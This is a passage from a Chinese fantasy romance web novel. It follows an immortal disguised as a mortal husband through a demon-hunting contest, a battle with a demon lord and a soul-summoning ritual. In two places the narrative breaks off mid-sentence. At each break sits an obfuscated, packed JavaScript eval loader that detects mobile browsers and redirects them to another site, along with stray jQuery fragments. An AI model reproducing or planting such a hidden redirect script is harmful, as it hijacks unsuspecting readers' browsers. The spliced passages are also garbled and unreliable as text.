李安素用力关上门,靠在门板上缓缓坐在地上。她赤红着脸,慌乱间,手好像碰到了什么东西,一低头,一股黑色的东西沾到了她的手指。 李安素一愣,吓得赶紧甩开,但那东西却抬起了头。 “什么东西啊……”李安素犹豫着伸出手去,那东西瞬间就消失在指尖。 不等她反应过来,身后传来拍门的力道,“娘子,娘子你开开门,我回来了。” 李安素怎么可能开门,她赌气坐在地上,把房门锁上,“不开!” 岐晔苦恼地站在外面,被风吹得咳了几声,“好冷啊。” “今天很热!”李安素大声反驳,现在是三伏天! 岐晔:“好了好了,你先听我说好不好?” 他失笑,只是想逗一逗她,顺便让她离开,谁知道自己好像哄不好了。岐晔靠在门板上,苦恼地皱紧眉头,却是笑着的。 “娘子?”李安素闭上眼睛不理会,明明他看不见自己的表情,还是死死压住自己的反应。 刷拉—— 一点沙沙声从身侧传来,李安素一愣,低下头,看见一株叫不出名字的野花支棱起来,缓缓靠近她。 “……看见了吗?”门外传来岐晔的声音。 李安素伸手去抓那朵花,却扑了个空。下一刻,房门被打开,她整个人被抱起来,“你放开我……你那师姐呢,人怎么不见了?” “终于走了,我可不想让她留下来吃饭。”岐晔埋首在她胸前,声音闷闷地传来:“你怎么就生气了,什么都没弄明白呢。” 李安素扭头:“我怎么就没明白了?” 岐晔瞥见她闪着泪花的眼睛,他怔了怔,“怎么就哭了……”他语气难得带了点慌乱,生疏地去擦。 李安素很少哭,岐晔对于擦眼泪这件事更不熟练。 “王婶说得对,男人修仙什么的,就是抛妻弃子的借口……” 岐晔笑不可抑,连肩胛骨都在颤抖,被李安素用力打了一下,他反手抓住她的手。 “你什么意思——”李安素一愣,手指被岐晔一一吻过。 她的指尖有中药的微苦和经春草的香味,岐晔痴迷不已,甚至想要把她的手指吃进去,却被躲开了。 “我们私奔吧。”岐晔抬头,“你不是想要离开这里吗,我带你走。” 李安素还没消气,低下头:“哪儿有钱。” 他们还没有攒下多少钱呢。 岐晔笑了下,现在归元宗内部已经不适合再接触了,一直待在这里他担心魔气对李安素有害,“那怎么办,我也没有钱。” 李安素扭过头,“走就走,每天听见那群人说你闲话我也烦得不行。” 又过了几天,李安素听见了村头的人谈话,归元宗要举办五年一度的狩魔大会了。 所谓狩魔大会就是归元宗的老传统,规则也多年不变,在划定范围内,狩猎魔物最多的为获胜者,拥有直接拜师的机会。 明日是赶集,按照惯例岐晔是要停下自己的事情和她一起去镇上的,她低头整理着药材,数着没几颗的人参。 可脑海里始终环绕着狩魔大会的事情,岐晔说要离开这里,可她能去哪里?他会骗她吗? “吱呀——”院门骤然被推开,颀长身影走进来,岐晔一眼就看见蹲在地上的人。 “已经回来了?我去山上找了你一圈,还以为你没回来呢……怎么了?”岐晔顿了顿,语气平常,“今天怎么看起来兴致不高?” “没事啊,就是今天太累了。”李安素低着头。 忽然,岐晔蹲在了她面前,他比她高,蹲下来也高出一截。他两只手捧住李安素。 “怎么……了?”李安素一愣,手指轻轻拂过她的脸侧,传来男人的声音。 “都弄到脸上了。”岐晔收回手,手指上沾了一点泥土,他把她拉起来,“累了就去坐着,我来收拾。” 李安素坐在院子里,一时间陷入安静,没有人先开口,最终是岐晔说:“我明日有些事情,就不回来了。” “可是明日是赶集。”李安素硬着嗓子说,“从来没有缺席过。” 岐晔默了默,话到嘴边却拐了个弯,“明日学堂里有小测……” “你已经从学堂辞职了。”李安素戳穿他,“你是要去狩魔大会吧,也对,狩魔大会比我的赶集重要多了,你现在和以前不一样了,教书和修炼比不得。” 李安素站起来,一字一句都像是刀子,不把岐晔划出道伤口就不罢休,他也没有反驳。 他只低着头,把所有药材都仔细清洗一遍,冰凉的井水将他的手泡得通红,换做以往李安素早就心疼得扑上来了。 苦肉计是岐晔最喜欢用的招数,百试不爽,但李安素这笨脑袋估计永远都看不出。 “哗啦——”椅子被拉开,李安素转身就往房中走,随后用力关上了房门。 岐晔身影一滞,洗药材的动作敷衍了许多,抬手捏了个清洗咒。直到把明日要赶集用的东西全都收拾起来,才只身推开房门。 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直到即将上马车的瞬间,岐晔递给她小挎包,自己退到了车外,目送她离开。 李安素这才意识到岐晔不陪她一起,她收回不舍的手,怒火后知后觉涌上来,她狠狠剜了一眼站在外面的男人。 明明是夫妻俩的事业,他就这么心安理得让她一个人去! 李安素低着头,一句话也不说,瞥了眼身边的包裹。 洗干净的药材已经烘干了、该磨成粉的磨成粉、该打包的打包,货物包裹之外,还有一个小纸袋,放了她要吃的早饭。 李安素心里泛起一阵怪异的心软,可面子不让她原谅他。 看着李安素离开,确定她已经一个晚上、一个早上没有和自己说一句话,岐晔无奈地笑了下,只能等他回来再哄了。 岐晔招来天阳一字伞,眨眼间就上了青荇山顶。 那些弟子看见是他,纷纷迎上来,只有一人不一样,岐晔一眼就注意到了。 “三师兄,你怎么看起来脸色不太好?”岐晔看过去。 那个弟子一抖,铁青的脸上嵌着两个惨白的眼珠,讷讷回道:“不太舒服,没事。” 岐晔是这一次狩魔大会优胜的佼佼者,因此,不少人都在下注,岐晔仿若未闻。只是他一转眼就和某个人对上了视线。 那人只是匆匆一眼,就立刻站起来,挥着手冲过来:“大兄弟!” 周正不敢置信能在这里遇上熟人,他立刻站起来,“岐大哥!你忘了我了,我是周正啊!” 周正没穿归元宗弟子的服饰,只穿着一件潦草的便装,一抬手,胳膊底下的布料就晃动起来,他羡慕地打量岐晔的衣服。 “不错啊!三年不见,你都混成归元宗的人了!你这衣服是不是高阶弟子的?”周正羡慕地转着圈看。 “你怎么会在这里?”岐晔疑惑道,“你不是宗内弟子?” 一个归元宗弟子插话进来:“他啊,一个蹭学的,归元宗每届狩魔大会都有外人报名的机会,优秀者能进归元宗。” 周正挠了挠脑袋:“哎呀,这不是看着还有机会,我就来试试。” 岐晔不动声色地在心里和周正道别。这里的弟子大多已被魔气侵染,都是进了后山修炼禁地的,周正一个和凡人无异的毛头小子,极有可能会死在里面。 21. 杀魔 周正左看右看:“岐大哥,你要是没有伴,和我一道呗?” 另一边的归元宗弟子插话进来:“岐晔,盛师姐叫你。” 岐晔走到远离人群的地方,盛子薇脸色惨白地朝他挥手,随后用力弯腰鞠躬。 “后山禁地,师父说狩魔大会结束让你去。”盛子薇小声说,“你别去。” “多谢你。”岐晔点了点头,又瞥了她一眼,“魔气剔除会比较痛苦,你已经恢复正常了吧?” 盛子薇愣了愣,刚上前一步,男人却已经转身离开,仿佛刚才只是她的错觉。 狩魔大会开始,每位弟子都能展现自己的毕生所学,拼命狩猎魔物。开始还是正常比拼,可到了后面就变了味。 结界里头的魔物渐渐少了,开始有人互相残杀,最先对同门挥剑的是那些进了禁地的弟子。 比如早上那个脸色不好的三师兄,岐晔意料之中看见他挥着剑朝自己扑过来。 直到这人冲到自己面前,岐晔才抬手准备防御,谁知道一道身影扑过来,将他摔出去好远。 “咳咳咳……”岐晔捂着手臂,一眼就看见周正。 “我靠,这人的力气怎么这么大!我也要不行了——”周正气喘吁吁地抵抗,就在要扛不住的时候,身上的压力卸了个干净。 岐晔冷冷低头,剑锋插进三师兄的肩膀,他轻轻一挑,一缕纤长的魔气从他身体里被甩出来。 周正惊讶得一句话都说不出来,被吓得瘫坐在地上,“这这这……这是什么啊!” “魔。”岐晔淡淡说,“你还能站起来吗?” 周正动了动,哭丧着脸:“不能。” 岐晔用剑斩碎了魔,他带了点神力,这魔消失得无影无踪。他偏头看了眼周正,“那我就先离开了。” “……等、等等!我能走!”周正用力跑过去,“大哥,我就知道你是好人,不会丢下我的……” 周正也不知道为何,面对岐晔总是有些打怵,这个男人在自己娘子面前和外人面前简直是天差地别,根本不是什么好说话的人。 “你为什么想进归元宗?”岐晔边走边问,结界里已经没多少人了,这里已经变成了一场弱肉强食的杀戮游戏。 周正不好意思地笑了下:“我爹娘都是被魔吃掉的,我想要学点本事,以后杀魔。” 路边都是血,周正有些遭不住,腿都在打颤。忽然,天上雷声轰隆隆,他吓了一跳。 “怎么回事,狩魔大会不是看了天色吗?怎么还打雷下雨啊?”周正此刻非常后悔来这里。 岐晔简短回答:“结界破了,现在已经是外面了。” 周正好半晌才反应过来,“那岂不是这里联通了外面,外面也能进来这里咯?那我们还是快些离开吧……” 岐晔的身影骤然僵硬,他狠狠拧眉,忽然想起来镇上就在不远处。魔也有可能跑到镇上去。 “快走。”岐晔回头,“我要去镇上。” 周正一愣:“哎?可是我们还在参加比赛呢……” “走。”岐晔抿唇,提着剑站在雨中,“我娘子还在镇上。” “啊?哦哦……”周正跟上去,两个人顺着山脉走。 刚走到半山腰,一阵疾风吹过来,他被掀开好几丈,狠狠摔在地上,痛得闭上眼。 天上哗啦下雨,周正一睁眼,竟然是红色的雨水,他坐起来。 他妈的这哪里是什么红雨,这是血水! “呸呸呸!岐大哥!你没事吧?”周正疼得在地上打滚,赶紧爬过去,就看见一头巨大的魔盘踞在岐晔面前,几乎要将他整个人吞没。 岐晔已经没多少耐心,这些魔被他体内的仙气吸引过来。甚至有不怕死的要吞掉他,源源不断地涌上来,几乎把他淹没,他一只一只有些杀不过来。 魔的力气令人恐怖,岐晔咬牙,又不能在这个凡人面前直接暴露。他呼出一口气,将气凝结在剑上,用力砍过去。 如果说方才岐晔像优雅的仙人,现在就是杀红了眼的杀手,一句话也不愿多说,一双如同鹰眸的眼扫过每一条妄图杀了他的魔。 他恨魔,这些魔的气息仿佛把他带到了多年前厮杀的时候,他手里的剑快得几乎看不见形状,只留一道道银色的流光,将雨滴切成两半。 周正看呆了,却痛得倒在一旁,“大哥小心!后面!” 一条巨大的魔盘踞在他身后,魔蛇的尾巴也几乎要缠上岐晔。 眼前闪过一道鹅黄色的身影,他几乎要以为自己看错了。 岐晔忽然被推到一边,险些撞在树干上,却也刚好避开了身后的魔兽。 李安素推开岐晔,只身站在那条魔蛇的面前,长发披散,被猎猎狂风吹向身后。 “李安素!”岐晔第一次叫出李安素的全名,他语气几乎是咬牙切齿。 魔蛇歪了歪头,盯着地上的人,不知为何动作慢了半拍,给了李安素喘息时间。 下一刻,那魔蛇消失在眼前,岐晔站在远处,连剑都没有抬起来,生生用修为撕了那条魔蛇。 岐晔霎时间就站到了她面前,语气急迫:“你知不知道刚才有多危险!你在干什么!” 李安素委屈地盯着他,早上他给她绑的头发也乱了,脸上也脏了,衣服也像一团破抹布。 “我担心你……”李安素声音减弱。 她原本也想要认真摆摊,谁知道一直听周围人说今日狩魔大会有多恐怖,越听越不是滋味。直到开始打雷下雨,周围有人被魔袭击,当场暴毙。 她丢下所有东西,和逃命的众人背道而驰,用了不知道哪里来的力气上山。 岐晔叹了口气,抓着她的手:“蠢货。” 周正挠了挠头,插话进来:“那个……大哥,那边还有呢,我们不打的话就快走吧。” 他尴尬地向李安素打了声招呼,开始他都没敢提起娘子,以为岐晔和那些道人一样抛妻弃子了,谁知道两人还在一起。 李安素在身边,岐晔稍微平静了一点,不过也更危险,因为他身边永远都是魔的目标。 周正擦了擦脸,咬了咬牙:“好,我也来帮你!” 周正反手从兜里掏出来一个湿哒哒的符咒,嘴里默念了什么,那符咒散发出光芒,向着一头魔飞去。 “啊!丑怪物,看小爷不把 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岐晔确定那不是她的血后笑了下,看着已经气喘吁吁的女孩,还逞强说自己能跑。他凑过去吻了吻她的唇,“闭上眼睛。” 李安素听话闭上眼睛,被岐晔一把搂进怀中。他胸腔里的心脏咚咚响着,雨水渐弱,天边溢出一道彩虹。 脚一软,她贴在了地面上,立刻抬头,看见的就是归元宗大门。 岐晔松开她,同时看向周正,“你能杀魔?” 周正:“……能、能!” 岐晔扫了眼,把一字伞塞到李安素手里,“待在这里,我一会儿来找你,好不好?” 李安素很想说不好,她抓紧岐晔的衣袖,“为什么还要去?我们保了一条命,赶紧走不好吗?” 岐晔抿唇,如果可以他不想管这里任何人。 “乖,拿好了。”岐晔淡声说,“坐在这里。” 周正看他给了李安素一把伞,探头过来:“不是,给一把伞是干嘛啊?这伞又不能防身。” 李安素也点头:“是啊。” 岐晔:“……下雨,打伞。”他撑开伞,递到李安素手里。 说完,岐晔转身就往山上走去,徒留李安素抱着一把伞站在原地,她痴痴望着岐晔的背影,越看越觉得陌生。 岐晔幻化出一字伞的灵体,顺着山脉往上飞去,不过一眨眼就站在了禁地前。他眯了眯眼,往里面走。 之所以一直和山上的人周旋,很大一部分原因是他太熟悉这魔气了。岐晔抿唇,越往里走越觉得这股气息令人恶心。 崇寿长老就站在水池中间,看见他就这么走进来,还有些诧异,“岐……不对,你不是岐晔,你是谁?” 崇寿愣了愣,看着这人的长相,和岐晔一般无二,可周身的气息,这明明是一个仙人。 岐晔收敛着神力,闭了闭眼睛,抬手一掌打在崇寿胸口,后者摔在地上。 崇寿瞬间像是被人抽走了灵魂,愣愣倒在地上,身上的魔气冲出来,缓缓幻化成另一道身影。 从迷雾中走出另一个男人的影子。 22. 打架 “来客人了?”屈梁背着手走出来,周身的魔气直冲,待看清来人后,面色骤然崩塌,“岐晔……” 几万年过去,就是神仙也记不清对方的长相,屈梁是凭借岐晔的仙气认出来的,他顿时如临大敌,退了几步。 “怎么了,不是刚说我是客人吗,还不招待招待?”岐晔眯了眯眼,带着浓厚的怒火,“你好歹也是魔界地方王,怎么混成这样了?” 屈梁屈辱地低下头,“废话少说,直接开始吧。” 岐晔歪头,并不打算动手:“我需要你,我不会杀你。” 屈梁皱眉,没明白这是什么意思,下一刻,岐晔已经抬手,一把抓住了他的灵体。 “嘣!” 禁地说到底是一片山谷,这一弄,山谷开始崩塌,洪水像是决堤一般冲出来,顿时淹没了面前的一切。 岐晔顿了顿,看向周围,不是普通的山谷,更像是用魔气铸成的结界。 “这个结界……还是我跟安愫学来的,只进不出,你也出不去了……哈哈哈!”屈梁扭曲地笑出来,即便胸口已经被一字伞贯穿,还是在笑。 屈梁当年和安愫关系非同一般,岐晔松开他。 却换来屈梁的愤怒:“你为什么不杀我?还留我一命做什么!?你知不知道,我这三万年躲在这里苟延残喘……” 岐晔偏头,源源不断的归元宗弟子涌进来,都是听从屈梁的指令。 “现在不是仙家子弟了,是……我的部下!”屈梁倏然睁开眼,仿佛十分享受,脸上浮现扭曲的青筋。 天阳一字伞瞬间撑开,比起世间各种仙灵诡谲的神器,它通体纯白,是天地最纯净的颜色,带着简单甚至是脆弱的美。 但这把伞可是天底下第一凶器,伞下亡魂无数,浑厚的灵气自伞中溢出,每一丝气都带着诛杀万魔的气势。 天下第一伞的力量在这山谷中爆发,很快,外面的石块最先承受不住,一块一块崩塌下来。 岐晔两手掐诀,一字伞回到他手上,他并指为笔,在伞面写下几个咒法。一手撑伞,一手杀魔,只消片刻,黑压压的魔气中,缓缓走出来一道晃眼的佛光。 屈梁:“你还是和当年一样,岐晔,天天举着你那破伞!不过,我现在和当年已经不一样了……” 他两手放在胸前,没有念咒,唇瓣轻启:“破!” 屈梁飞身往上,那些弟子的肉身被砸得稀巴烂,他连看都不看一眼,脚踩着碎石,只留岐晔还站在山谷里。 岐晔抿唇,抬手,那些碎石没有砸下来,也保住了一些弟子的肉身。 一时间,天色晦暗,天地无光。 两人的战斗暴露在所有人的面前,在阴暗的天地间,他飞身越过青荇山顶端,赤手空拳去接飞来的剑。 那些宝剑在他手里被捏碎成粉末,岐晔一双眼眸泛着青色的微光,结界逐渐扩大,岐晔逐渐厌战,他觉得烦。 安愫的部下和她本人一样,烦。 岐晔皱眉,换做以往这个时候,他已经做好饭菜在家里等李安素回来了,可是遇上归元宗后,他已经很久没过这种安静的日子了。 “烦人。”岐晔冷冷吐出两个字,屈梁都愣住了。 地上,李安素仰着头,脖子都举痛了,好不容易看见那两道身影,却又被周正遮住了,“你别挡住我了啊!” 周正也仰头看着:“这什么级别的大仙啊?你说是不是已经化神了?” “我哪儿知道,那可太危险了,他们修炼就是为了打架?”李安素眯了眯眼睛,看不清那两个人面容,只能依稀认出是两个男人。 “谁知道呢,哎呀,怎么又下雨了,你撑着点伞啊!”周正反手去拨正伞柄,却忽然发出一声痛呼:“靠!” 周正捂着自己的手:“你这什么伞啊!痛死我了!” 伞柄猛然发出一缕光,周正的手心被烫出一片红,他退了几步。 李安素疑惑道:“喂……你可不要碰瓷……” 李安素仰头看着天上,她没想到有一天会这样近距离看见神仙打架,她只是一个无意闯入的凡人。 “你去上面看看,我夫君到底什么时候下来啊?” 周正摇头,扯住李安素:“你别去添乱了,你个黄毛丫头,会什么呀。” 李安素抿唇:“可就算是神仙,也不能这样打来打去呀,从天上掉下来可怎么办呢,不会摔死吗?” 周正:“……说你是个凡人还真是愚昧。” “还好我夫君不用这样打架,太危险了……”李安素抱紧了怀中的伞柄。 屈梁靠在结界边缘喘息,岐晔的一字伞离他只有一指宽。他闭上眼,迟迟等不来疼痛降临。 一字伞的灵体消失在岐晔手里,他转身,几个仙人纷纷迎上来。 “凡间发生这种事情,你们干什么吃的,现在才来?”岐晔语气不善,看向来人。 阿全愣了愣,低下头,“主上。” “怎么是你们来?”岐晔收回手。 “这一带是归元宗的管理地带,我们起初不知道是归元宗内部出了事。”阿全低下头,“蜀山只好代为管理。” 岐晔点头:“去吧。” 等人离开后,一个小弟子凑上来,看着岐晔离开的背影,“掌门,为何对这个神尊如此恭敬?那到底是什么人啊?” 阿全看向自己的大弟子:“你的弟子,你管好。” 蜀山大弟子已经白发苍苍,他擦了擦额角的汗,要不是自己师兄们飞升得早,这大弟子才轮不到他当。 “不该问的不要问,那就是你书上看的那个神尊!” 岐晔临近山脚下,缓缓靠近一处平地,他走了一段才到李安素面前,仿佛一个没事人一样。 “回去了。”他叫了声。 李安素撑着伞,伞不大不小,刚刚好把她整个人笼罩在里面,素白的伞面向上移了移,露出那张脸。 “夫君!”李安素大喊了一声,撑着伞走近他,手放在他身上,“你都淋湿了……咦?你的衣服怎么没湿啊?” 岐晔面不改色:“可能是避水诀起作用了,我们快些回去吧。” 远处,沉锦休喊住了岐晔:“等一等!师父说让你回去……” 李安素缩了缩脖子,被岐晔一把揽进怀中,她紧张地揪紧了男人的衣角,生怕他会走。 “师父?”岐晔的声音从头顶传来,他笑了下,“你去看看师父吧。” 岐晔接过伞,确定李安素没有被淋到,才缓缓往山下走去,两个人的身影最终消失在视线里。 “大师兄!”一个弟子忽然尖叫出声,“师兄!你快过来看看师父!” 怀成毓跑过去,一个浑身魔气的人被抬了出来,伏骨剑折断在脚边,众弟子都愣在了原地。 “师父他……啊啊啊!”那弟子刚开了一个口,被崇寿咬住了咽喉,当场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16511273|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴毙。 “什么声音啊……”李安素忽然回头,看向山上,“我怎么听见了惨叫声……” 她的眼睛被一只手挡住,岐晔把她摁住,“认真走路,别乱看。” 李安素心里的好奇压制不住,却被岐晔挡住,她抬头,对上他性感的下颌线,“我的天,你看见那两个神仙了没?” 岐晔一愣,“什么神仙?”他在脑海里思考今天有什么神族的人来过。 李安素立刻兴高采烈地和他说起今天看见的,岐晔的脸色一点一点沉下来,挑眉问:“帅?” 李安素点头:“帅啊!我还看见了那神仙发光呢!” 岐晔抿唇,唇边溢出了一丝弧度,“还看见了什么?” 李安素越说越兴奋,说自己看见的仙人有多厉害,虽然她在底下只看见了影子。岐晔只是淡淡地回应,给她撩起了一边的头发。 “他立刻飞上去,我也没看清楚,反正就把那个魔打趴下了……”李安素说完瞥了眼岐晔,发现他反应很平淡,以为伤到了男人脆弱的自尊心,她又补充了句:“不过呢,神仙再好,也没有我的夫君好。” 岐晔一转头,对上李安素笑眯眯的脸,“怎么突然说到这个?你不是崇拜那些修仙的?” 李安素抿唇,低着头,情绪低落起来:“也没什么,就是看见了那些修仙的,一个个也和普通人没什么区别。” 她看见了那些仙家弟子抛弃家人也要修仙,也看见那些修仙的沉迷欲望,竟是和她没什么区别。 岐晔勾唇,想不到一个凡人有这样的认识:“哦,然后呢?” 李安素撇了撇嘴:“别看那个大弟子有多神气,其实胆小怕事得很,还不如周正呢,我看,这些修仙的都是些空壳子。” 岐晔忍着笑,心里颇为赞同。 “那魔呢?”岐晔偏头看着女孩漆黑的头顶。 “都一样,魔可恨,但也可怜。”李安素小声说,“那些魔凭什么被赶尽杀绝?” 岐晔脸色一僵,皱了皱眉,他私心不希望自己的娘子对魔族有好感,“魔生来就是吃人的,都是该杀的。” “也有不吃人的魔。”李安素抬头,一双杏眼盛满了认真,“如果我变成了魔,你也会杀我吗?” 两人一时间相顾无言,转眼间就走到了家门口,岐晔去开门,好半晌才说:“你不是魔,我不喜欢假设不存在的事情。” 李安素盯着他的后背,不死心:“假设这就是真的呢?” 岐晔头也不回,一边蹲下来给她换鞋一边说:“我给你找吃的,绝不让你出去害人。” “你给我找什么吃的?人吗?”李安素低头。 岐晔有些头疼,没想到她这么死缠烂打,今天这么难缠,他笑了下:“你吃我吧。” 他仰起头,不等李安素反应,堵住那张喋喋不休的嘴,手里用了点力气。 不仅仅是魔族,神族也一样,大战之后浑身的血向上涌去,他今天晚上异常兴奋,抱着李安素不松手。 他一心只有李安素,也只有一件事情。 李安素被推倒,长发扑在身下,还不死心地抓着男人的头发:“岐晔你大骗子,我才不要吃你,我就算是变成魔了也绝不会伤害别人。” 岐晔没说话,缓缓用力,把她逼得哭出来,“别走,再等一会儿。” 李安素咬牙,都是谎言。抓紧了男人垂落的长发,甚至抓下来了几根。 23. 招魂 汾白峡。 忘川与仙界交界之处,形成了一座巨大的瀑布,铺天盖地的水流冲向地面,构成了壮观的景象。 岐晔站在峡谷底下,漫天水幕在他周身自动分开,形成一小片彩虹。他回头,“就在这里?” 屈梁被他打得鼻青脸肿,畏畏缩缩地点了点头,“就在这里,当年安愫说她的武器葬在这里。” 安愫的武器,佛杀十绝刃,已经三万年没有现身了,六界之内甚至连一丝气息都没有。 就连岐晔也找不到。 现在就藏在这里。 屈梁缩了缩脖子:“是、是。” 下一刻,瀑布卷起一股水流,化作水刃冲向屈梁。他猛然瞪大双眼,那股水流化作一只手掌,扼住了他的脖颈。 “咳咳咳……!”屈梁弯下腰,双膝跪地。 “撒谎。”岐晔冷淡的声音传来。 谎言被拆穿,屈梁痛得拧起眉毛,“我不可能告诉你……” 岐晔冷笑一声。那武器是最有可能蕴含安愫气息的东西,现在找不到,他承认自己心情有些烦躁。 “把人送去忘川河,让魔族自己处理。”岐晔摆了摆手,身后的神族士兵走上前,将屈梁往后拖。 “放开我!”屈梁尖叫起来。他在凡间游荡三万年,就是因为和魔族的人闹翻了,现在让他回魔族只会生不如死,“你放开我!岐晔你这个疯子!我说、我说!” 屈梁的声音带着哀求,也明显感觉到力量在减弱,“佛杀……当年就失落凡间了,现在我也不知道在哪里……” 他闭了闭眼睛:“但是……尊主当年知道你会找,佛杀可能也转世了,这只是我的猜测。” 屈梁抬起头,“现在可以放过我了吧?” 岐晔勾唇:“还等什么?把人拖走!” 屈梁的脚在地上拖行,他猛然抬头:“岐晔!我已经说了!” 岐晔不理会身后的咒骂和惨叫声,他看了眼凡间的方向,眼中杀意浓烈。 佛杀,那就看看是谁先杀了谁吧。 岐晔上了趟九重天。这里惨白一片,神仙们大多无趣,岐晔不大喜欢上来。 他直接去见了太上老君,后者立刻迎上来:“神尊!您老怎么来了?” “东西呢?” 太上老君连忙呈上来:“在这儿呢,小的日日夜夜守着,寸步不离。” 招魂铃,六界最神秘的法器,只要六界之内还存在这个人的气息,就能找出所有残魂。 岐晔拧眉,他要找出安愫所有残魂,全部杀光。 小村庄里,来了一批人。 这些人穿着靓丽的衣服,一个个细皮嫩肉。李安素好奇地多看了几眼,一直等到岐晔回来。 “夫君!你回来了?”李安素冲他挥挥手,“你看见了没?” 夫妻俩一个切菜一个坐着,岐晔手起刀落,青菜被他切成碎末,他漫不经心地回了句:“什么?” “哎呀,就是村口那群人啊?你没看见?是从别处来的,听说是长安!”李安素凑近了,重复了一遍这个名字,“长安!” “有个人告诉我,他们的商队死了两个人,现在多了两个空位。”李安素一双眼睛直勾勾盯着他,很容易就能猜到她想说什么。 岐晔什么都没说,擦了擦手走到桌边。豆油灯点着,他拿出所有积蓄,一点点数出来。 “都在这里了。”岐晔盯着桌上。 “等等!我今天买菜找了点钱。”李安素拿出口袋里的一点碎银子,“刚好够坐车。” 她愁容不展,就这点钱,要去长安定居还远远不够,“你去过长安吗?” 岐晔摇头,他甚至没听说过长安。 李安素骄傲地仰起头:“我听说过,还见过长安来的人呢。长安离我们这里可太远了,坐车都要两天呢。” 岐晔被她轻而易举地逗笑,温柔道:“这么厉害啊,那你想去咯?” “想。”李安素脱口而出,看了眼岐晔的表情,“你会不会觉得我太嫌贫爱富了?” 岐晔面不改色,把饭菜摆在桌上。男人腰细腿长,摘了围裙,一步步向她走来。李安素缩了缩脖子,正要说话,被他一把揽住。 “吃饭吧,吃过饭我陪你一起去找那些人。” 岐晔不再说其他的话,只是在压抑着些许的不爽——他并不觉得这样的生活有什么不好。 如今归元宗的事情已经处理好,他能保护好李安素。 但李安素显然不是这样想的。 她想过更好的生活,不想要以药材为生,最重要的是,“我感觉每天只有和你在一起才有事情可做,我一个人在家里,无聊得很。” 岐晔动作一滞,想到过去的三年,他的心不禁跳得更快了,“这样的日子不好吗?” 李安素瞪眼:“当然不好!你说什么呢!” 岐晔抿唇,把碗里唯一一块肉夹给她:“别生气,去长安、去长安。” 晚饭之后,李安素还在生气。她脾气不小,可是岐晔也不经常哄她,李安素时常觉得自己的婚姻太无聊了。 她走在后面,看男人走在前面,心里越来越不爽,现在也不会来牵她。 那些长安来的商队就住在村头,在村里住下,正如她所说,都是细皮嫩肉的。 李安素乍一看,发现岐晔比这些人还白嫩。 她托着下巴,看岐晔一个人走上去,和那几个商队的人交谈:“多少钱一个人?我们两个人要去长安。” 被问的那个男人视线在他们两人之间逡巡,最终说:“没位置了,已经被抢先了。” “那不打扰了。”岐晔走向李安素。 李安素失落起来,垂着头,“早知道就不等你回来了,我应该自己去问的。” 夜里,李安素还在念念叨叨:“失去这一次机会,也不知道还有什么时候能遇见长安来的人?” 岐晔一言不发,把厚被子拿出来,盖在李安素身上:“时候不早了,睡吧。” 李安素忍着气,偏头望着外面,就是不转头,岐晔无法把被子盖到两个人。 他静静看了眼女孩的背影,几乎整个身子都睡到了床外面。他什么都没做,一个人躺了下来。 已经入秋,空气有些凉,李安素很快就觉得冷了,可身后没传来半点声响。她委屈地撇嘴,执拗地不转身。 直到不知道过去了多久,身后的呼吸声渐渐平缓。李安素抬手擦了擦眼泪,却在收手的一瞬间,整个人被拖着往后靠。 “啊……”李安素喉咙里泄出一丝支离破碎的声音,整个人被拖进被褥里,男人的手也放在她肚子上。 李安素的身子骤然撞在岐晔身上,她被紧紧抱住,男人还惩罚性地埋进她的脖颈。 “放开我……”李安素还没忘记自己生气的事情。 岐晔不依不饶,这人总在一些特别时候相当执着,“不放。” “生气了?”岐晔抬手,摆弄着她垂落的长发。 李安素不回答。 岐晔叹了口气,抱着她哄了好久,“别生气了,我回头找其他办法,嗯?” 李安素眼皮越来越重,本来就冷,现在骤然落进一处温暖的怀抱,睡意瞬间就涌了上来。 她困得打了个哈欠。 夜幕深深,确定怀里的人睡着之后,岐晔起身,衣角被女孩攥在手里。他低头,干脆脱掉了寝衣,独自起身走到窗边。 换了件衣服出门,等候已久的阿全立刻上前:“主上。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517566|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿全偏头想要看屋子的景象,岐晔已经抬手关上了门。他冷静开口:“走吧。” 招魂铃被岐晔拿在手里,六界神器之最发散出奇异的光影,照在岐晔的侧脸,露出他冷漠的神色,“快点吧。” 蜀山之巅,同时也是神界和凡界的交界处。这间神殿,当年是岐晔的一道剑气铸就,这道剑气也奠定了蜀山的法阵。 屈梁被推上来,他愤愤盯着岐晔,看见招魂铃的一瞬间就呆住了,仿佛被抽干了血液,“招魂铃,不可能,这个东西不应该在你这里……连魔族都说这玩意儿已经找不回来了!” 身边的人开始挟持他,屈梁挣扎起来:“放开我!你们这群走狗!” 岐晔连眼神都不分他一个:“开始吧。” 招魂铃会在安愫气息靠近的同时开始震动。岐晔找了很久也找不到,他看向屈梁:“所以我才说,你出现真是帮了我的大忙。” 岐晔眼中的危险意味毫不掩饰,他笑了起来,唇间的弧度冰冷犹如死人,“那就开始了?” 屈梁浑身僵住,冷汗顺着他的额角流下。他愤怒起来:“不、不行!” 招魂铃在吸收气息的同时,也会要了他的命! 屈梁不想死,他用力挣扎起来,蹭在地上,头破血流也不松懈,“不行,我凭什么要去死!该去死的人是你!” 身边压制他的蜀山弟子被推开,只有一只无形的手抓住了屈梁的脚,将他拖到招魂铃面前。 岐晔弯腰,一把抓住屈梁的领子:“你和你的主子,都会死,只是死的先后不同罢了,急什么?” 